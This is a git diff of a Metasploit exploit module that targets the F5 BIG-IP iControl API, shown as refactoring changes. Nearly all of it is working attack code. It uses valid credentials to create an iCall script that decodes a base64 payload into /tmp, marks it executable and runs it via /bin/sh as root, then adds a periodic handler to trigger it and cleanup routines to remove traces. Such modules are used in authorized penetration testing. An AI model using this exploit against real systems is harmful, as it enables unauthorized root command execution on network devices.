@@ -11,16 +11,22 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
include Msf ::Exploit ::FileDropper
13
13
14
+ SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
15
+ STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
16
+ LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence' , 'soapenc:arrayType' => 'xsd:long[]' , 'xmlns:urn' => 'urn:iControl' }
17
+
14
18
def initialize ( info = { } )
15
19
super (
16
20
update_info (
17
21
info ,
18
22
'Name' => "F5 iControl iCall::Script Root Command Execution" ,
19
23
'Description' => %q{
20
- This module exploits an authenticated a privilege escalation vulnerability
21
- in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). The attacker needs valid
22
- credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0,
23
- (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details)
24
+ This module exploits an authenticated privilege escalation
25
+ vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
26
+ other F5 devices). This requires valid credentials and the Resource
27
+ Administrator role. The exploit should work on BIG-IP 11.3.0
28
+ - 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
29
+ for more details)
24
30
} ,
25
31
'License' => MSF_LICENSE ,
26
32
'Author' =>
@@ -55,11 +61,18 @@ def initialize(info = {})
55
61
[
56
62
OptInt . new ( 'INTERVAL' , [ true , 'Time interval before the iCall::Handler is called, in seconds' , 3 ] ) ,
57
63
OptString . new ( 'PATH' , [ true , 'Filesystem path for the dropped payload' , '/tmp' ] ) ,
58
- OptString . new ( 'FILENAME' , [ false , 'File name of the dropped payload' , '.9cdfb439c7876e70 '] ) ,
64
+ OptString . new ( 'FILENAME' , [ false , 'File name of the dropped payload, defaults to random ' ] ) ,
59
65
OptInt . new ( 'ARG_MAX' , [ true , 'Command line length limit' , 131072 ] )
60
66
] )
61
67
end
62
68
69
+ def setup
70
+ file = datastore [ 'FILENAME' ]
71
+ file ||= ".#{ Rex ::Text . rand_text_alphanumeric ( 16 ) } "
72
+ @payload_path = ::File . join ( datastore [ 'PATH' ] , file )
73
+ super
74
+ end
75
+
63
76
def build_xml
64
77
builder = Nokogiri ::XML ::Builder . new do |xml |
65
78
xml . Envelope do
@@ -92,88 +105,75 @@ def send_soap_request(pay)
92
105
'username' => datastore [ 'USERNAME' ] ,
93
106
'password' => datastore [ 'PASSWORD' ]
94
107
)
95
- if res && res . code == 200
108
+ if res
96
109
return res
97
- elsif res
98
- if res . code == 401
99
- print_error ( '401 Unauthorized - Check credentials' )
100
- else
101
- print_error ( "#{ res . code } - Unknown error" )
102
- end
103
110
else
104
111
vprint_error ( 'No response' )
105
112
end
106
113
false
107
114
end
108
115
109
- # cmd is valid tcl script
110
- def create_script ( cmd )
111
- scriptname = Rex ::Text . rand_text_alpha_lower ( 5 )
116
+ def create_script ( name , cmd )
112
117
create_xml = build_xml do |xml |
113
- xml [ 'scr' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
114
- string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
115
- xml . scripts ( string_attrs ) do
118
+ xml [ 'scr' ] . create ( SOAPENV_ENCODINGSTYLE ) do
119
+ xml . scripts ( STRING_ATTRS ) do
116
120
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
117
- xml . item scriptname
121
+ xml . item name
118
122
end
119
- xml . definitions ( string_attrs ) do
123
+ xml . definitions ( STRING_ATTRS ) do
120
124
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
121
125
xml . item cmd
122
126
end
123
127
end
124
128
end
125
- send_soap_request ( create_xml ) ? scriptname : false
129
+ send_soap_request ( create_xml )
126
130
end
127
131
128
- def delete_script ( scriptname )
132
+ def delete_script ( script_name )
129
133
delete_xml = build_xml do |xml |
130
- xml [ 'scr' ] . delete_script ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
131
- string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
132
- xml . scripts ( string_attrs ) do
134
+ xml [ 'scr' ] . delete_script ( SOAPENV_ENCODINGSTYLE ) do
135
+ xml . scripts ( STRING_ATTRS ) do
133
136
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
134
- xml . item scriptname
137
+ xml . item script_name
135
138
end
136
139
end
137
140
end
138
141
send_soap_request ( delete_xml )
139
142
end
140
143
141
- def script_exists ( scriptname )
144
+ def script_exists ( script_name )
142
145
exists_xml = build_xml do |xml |
143
- xml [ 'scr' ] . get_list ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" )
146
+ xml [ 'scr' ] . get_list ( SOAPENV_ENCODINGSTYLE )
144
147
end
145
148
res = send_soap_request ( exists_xml )
146
- res && res . code == 200 && res . body =~ Regexp . new ( "/Common/#{ scriptname } " )
149
+ res && res . code == 200 && res . body =~ Regexp . new ( "/Common/#{ script_name } " )
147
150
end
148
151
149
- def create_handler ( scriptname , interval )
150
- handler_name = Rex ::Text . rand_text_alpha_lower ( 5 )
152
+ def create_handler ( handler_name , script_name , interval )
151
153
handler_xml = build_xml do |xml |
152
- xml [ 'per' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
153
- string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
154
- xml . handlers ( string_attrs ) do
154
+ xml [ 'per' ] . create ( SOAPENV_ENCODINGSTYLE ) do
155
+ xml . handlers ( STRING_ATTRS ) do
155
156
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
156
157
xml . item handler_name
157
158
end
158
- xml . scripts ( string_attrs ) do
159
+ xml . scripts ( STRING_ATTRS ) do
159
160
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
160
- xml . item scriptname
161
+ xml . item script_name
161
162
end
162
- long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence' , 'soapenc:arrayType' => 'xsd:long[]' , 'xmlns:urn' => 'urn:iControl' }
163
- xml . intervals ( long_attrs ) do
163
+ xml . intervals ( LONG_ATTRS ) do
164
164
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
165
165
xml . item interval
166
166
end
167
167
end
168
168
end
169
- send_soap_request ( handler_xml ) ? handler_name : false
169
+ res = send_soap_request ( handler_xml )
170
+ res && res . code == 200 && res . body =~ Regexp . new ( "iCall/PeriodicHandler" )
170
171
end
171
172
172
173
def delete_handler ( handler_name )
173
174
delete_xml = build_xml do |xml |
174
- xml [ 'per' ] . delete_handler ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
175
- attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
176
- xml . handlers ( attrs ) do
175
+ xml [ 'per' ] . delete_handler ( SOAPENV_ENCODINGSTYLE ) do
176
+ xml . handlers ( STRING_ATTRS ) do
177
177
xml . parent . namespace = xml . parent . parent . namespace_definitions . first
178
178
xml . item handler_name
179
179
end
@@ -185,7 +185,7 @@ def delete_handler(handler_name)
185
185
186
186
def handler_exists ( handler_name )
187
187
handler_xml = build_xml do |xml |
188
- xml [ 'per' ] . get_list ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" )
188
+ xml [ 'per' ] . get_list ( SOAPENV_ENCODINGSTYLE )
189
189
end
190
190
res = send_soap_request ( handler_xml )
191
191
res && res . code == 200 && res . body =~ Regexp . new ( "/Common/#{ handler_name } " )
@@ -197,31 +197,11 @@ def check
197
197
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
198
198
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
199
199
# any other response is considered not vulnerable
200
- check_xml = build_xml do |xml |
201
- xml [ 'scr' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
202
- attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
203
- xml . scripts ( attrs ) do
204
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
205
- xml . item
206
- end
207
- xml . definitions ( attrs ) do
208
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
209
- xml . item
210
- end
211
- end
212
- end
213
-
214
- res = send_request_cgi (
215
- 'uri' => normalize_uri ( target_uri . path ) ,
216
- 'method' => 'POST' ,
217
- 'data' => check_xml ,
218
- 'username' => datastore [ 'USERNAME' ] ,
219
- 'password' => datastore [ 'PASSWORD' ]
220
- )
200
+ res = create_script ( '' , '' )
221
201
if res && res . code == 500 && res . body =~ /path is empty/
222
202
return Exploit ::CheckCode ::Appears
223
203
elsif res && res . code == 401
224
- print_error ( '401 Unauthorized' )
204
+ print_warning ( "HTTP/ #{ res . proto } #{ res . status } #{ res . message } -- incorrect USERNAME or PASSWORD?" )
225
205
return Exploit ::CheckCode ::Unknown
226
206
else
227
207
return Exploit ::CheckCode ::Safe
@@ -230,13 +210,8 @@ def check
230
210
231
211
def exploit
232
212
# phase 1: create iCall script to create file with payload, execute it and remove it.
233
- filepath = datastore [ 'PATH' ]
234
- filename = datastore [ 'FILENAME' ]
235
- dest_file = filepath + '/' + filename
236
- register_file_for_cleanup dest_file
237
-
238
- shell_cmd = %(echo #{ Rex ::Text . encode_base64 ( payload . encoded ) } |base64 --decode >#{ dest_file } ; chmod +x #{ dest_file } ;#{ dest_file } ;rm -f #{ dest_file } )
239
- cmd = %(if { ! [file exists #{ dest_file } ]} { exec /bin/sh -c "#{ shell_cmd } "})
213
+ shell_cmd = %(echo #{ Rex ::Text . encode_base64 ( payload . encoded ) } |base64 --decode >#{ @payload_path } ; chmod +x #{ @payload_path } ;#{ @payload_path } )
214
+ cmd = %(if { ! [file exists #{ @payload_path } ]} { exec /bin/sh -c "#{ shell_cmd } "})
240
215
241
216
arg_max = datastore [ 'ARG_MAX' ]
242
217
if shell_cmd . size > arg_max
@@ -247,28 +222,32 @@ def exploit
247
222
248
223
print_status ( 'Uploading payload...' )
249
224
250
- unless ( script = create_script ( cmd ) )
225
+ script_name = Rex ::Text . rand_text_alpha_lower ( 5 )
226
+ create_script_res = create_script ( script_name , cmd )
227
+ unless create_script_res && create_script_res . code == 200
251
228
print_error ( "Upload script failed" )
252
229
return false
253
230
end
254
- unless script_exists ( script )
231
+ unless script_exists ( script_name )
255
232
print_error ( "create_script() run successfully but script was not found" )
256
233
return false
257
234
end
235
+ register_file_for_cleanup @payload_path
236
+
258
237
interval = datastore [ 'INTERVAL' ]
259
238
260
239
# phase 2: create iCall Handler, that will actually run the previously created script
261
240
print_status ( 'Creating trigger...' )
262
- handler = create_handler ( script , interval )
263
- unless handler
241
+ handler_name = Rex :: Text . rand_text_alpha_lower ( 5 )
242
+ unless create_handler ( handler_name , script_name , interval )
264
243
print_error ( 'Script uploaded but create_handler() failed' )
265
244
return false
266
245
end
267
246
print_status ( 'Wait until payload is executed...' )
268
247
269
248
sleep ( interval ) # small delay, just to make sure
270
249
print_status ( 'Trying cleanup...' )
271
- if delete_handler ( handler ) && delete_script ( script )
250
+ if delete_handler ( handler_name ) && delete_script ( script_name )
272
251
print_status ( 'Cleanup finished with no errors' )
273
252
else
274
253
print_error ( 'Error while cleaning up' )
0 commit comments